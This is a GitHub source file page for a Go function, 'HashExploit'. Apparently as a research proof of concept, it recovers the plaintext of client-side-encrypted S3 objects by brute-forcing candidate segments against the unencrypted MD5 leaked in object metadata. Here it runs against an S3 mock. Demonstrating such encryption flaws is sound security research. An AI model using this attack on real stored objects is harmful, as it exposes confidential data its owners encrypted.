-
Notifications
You must be signed in to change notification settings - Fork 3
/
hash_exploit.go
42 lines (40 loc) · 1.06 KB
/
hash_exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package exploit
import (
"crypto/md5"
"encoding/base64"
"fmt"
"strconv"
)
func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if err != nil {
return "", err
}
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
if err != nil {
return "", err
}
plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
if length%16 != 0 {
return "", fmt.Errorf("Expected multiple of 16, but length is %d", length)
}
blocks := length / 16
possiblePlaintextNum := 1
segNum := len(input.PossiblePlaintextSegments)
for i := 0; i < blocks; i++ {
possiblePlaintextNum *= segNum
}
for i := 0; i < possiblePlaintextNum; i++ {
w := i
guess := ""
for j := 0; j < blocks; j++ {
guess += input.PossiblePlaintextSegments[w%segNum]
w /= segNum
}
guessMd5 := md5.Sum([]byte(guess))
if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
return guess, nil
}
}
return "", fmt.Errorf("No plaintext found!")
}